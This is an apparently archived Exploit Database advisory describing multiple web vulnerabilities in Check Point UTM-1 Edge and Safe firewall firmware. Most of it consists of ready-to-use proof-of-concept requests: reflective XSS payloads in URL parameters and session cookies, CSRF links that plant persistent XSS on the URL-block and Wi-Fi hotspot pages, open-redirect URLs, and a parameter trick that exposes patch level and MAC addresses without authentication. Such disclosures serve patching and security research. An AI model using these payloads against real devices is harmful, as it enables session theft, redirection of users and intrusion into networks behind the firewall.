Check Point UTM-1 Edge and Safe 8.2.43 – Multiple Vulnerabilities

• Exploit Database
• 121 阅读

• 作者： Richard Brain
  日期： 2011-10-18
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/36239/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76

  source: https://www.securityfocus.com/bid/50189/info   Check Point UTM-1 Edge and Safe are prone to multiple security vulnerabilities, including:   1. Multiple cross-site scripting vulnerabilities 2. Multiple HTML-injection vulnerabilities 3. Multiple cross-site request forgery vulnerabilities 4. Multiple URI-redirection vulnerabilities 5. An information-disclosure vulnerability   An attacker may leverage these issues to access sensitive information, redirect an unsuspecting victim to an attacker-controlled site, or steal cookie-based authentication credentials, to perform unauthorized actions in the context of a user&apos;s session.   Versions prior to Check Point UTM-1 Edge and Safe 8.2.44 are vulnerable.   Tested on versions 7.5.48x, 8.1.46x and 8.2.2x.     1) The following demonstrate the reflective XSS flaws:-   a) The Ufp.html page is vulnerable to XSS via the url parameter It works by submitting a malicious url parameter to the ufp.html page http://www.example.com/pub/ufp.html?url=";><script>alert(1)</script>&mask=000&swpreview=1   This works with firmware versions 7.5.48x, 8.1.46x and 8.2.2x.   b) The login page is also vulnerable to an XSS via the malicious session cookie It works by submitting a malicious session cookie to the login page Cookie: session="><script>alert(1)</script>   c) An authenticated XSS exists within the diagnostics command http://www.example.com/diag_command.html?sw__ver=blah1&swdata=blah2&sw__custom=&apos;";);alert(1);// (this might need to be submitted twice)     2) The following demonstrate the persistent XSS flaws and XSRF flaws:-   a) The blocked URL warning page is vulnerable to a persistent XSS attack placing any internal users at risk of attack when the page is displayed.   First an attacker has to trick the administrator to follow a XSRF attack; the (swsessioncookie) session cookie for simplicity sake is shown though JavaScript document.cookie can be used to subvert this protection (see paper). http://www.example.com/UfpBlock.html?swcaller=UfpBlock.html&swsessioncookie=20KHYp5-oS7rKmS-a4rq4j&swsave=1&ufpblockhttps=0&ufpbreakframe=&backurl=WebRules.html&ufpblockterms=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E   Firewall users then visiting blocked sites will have the blocked page displayed and the attack carried out. http://www.example.com/pub/ufp.html?url=www.blockedUrl.com&mask=000&swpreview=1   b) The Wi-Fi hotspot landing page on Wi-Fi enabled firewalls is also vulnerable, with any user using the Wi-Fi access point being at risk.   First an attacker has to trick the administrator to follow a XSRF attack, the (swsessioncookie) session cookie for simplicity sake is shown though JavaScript document.cookie can be used to subvert this protection (see paper). http://www.example.com/HotSpot.html?swcaller=HotSpot.html&swsessioncookie=20KHYp5-oS7rKmS-a4rq4j&swsave=1&hotspotnets=00000000000000000000000000000000000000&hotspotpass=1&hotspotmulti=1&hotspothttps=0&hotspotnet1=0&hotspotnet2=0&hotspotnet3=0&hotspotenf=0&hotspottitle=Welcome+to+My+HotSpot&hotspotterms=%22%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E&thotspotpass=on&thotspotmulti=on   Firewall users then visiting the Wi-Fi landing page will then have the attack carried out. http://www.example.com/pub/hotspot.html?swpreview=1     3) The following demonstrate the (authenticated) offsite redirection flaws:-   a) Enter the following URL to redirect http://www.example.com/12?swcaller=http://www.procheckup.com   b) Enter the following URL and then press back button. http://www.example.com/UfpBlock.html?backurl=http://www.procheckup.com   4) The following demonstrate the Information disclosure flaws (no authentication needed) It was found that the /pub/test.html program disclosed information, regarding the patch level used, licensing and the MAC addresses to unauthenticated users.   a) On early firmware versions 5.0.82x, 6.0.72x & 7.0.27x 7.5.48x Just requesting http:// www.example.com/pub/test.html is sufficient   b) However this no longer worked on versions 8.1.46x & 8.2.26x however adding the URL parameter and a double quote bypassed this check https:// www.example.com/pub/test.html?url="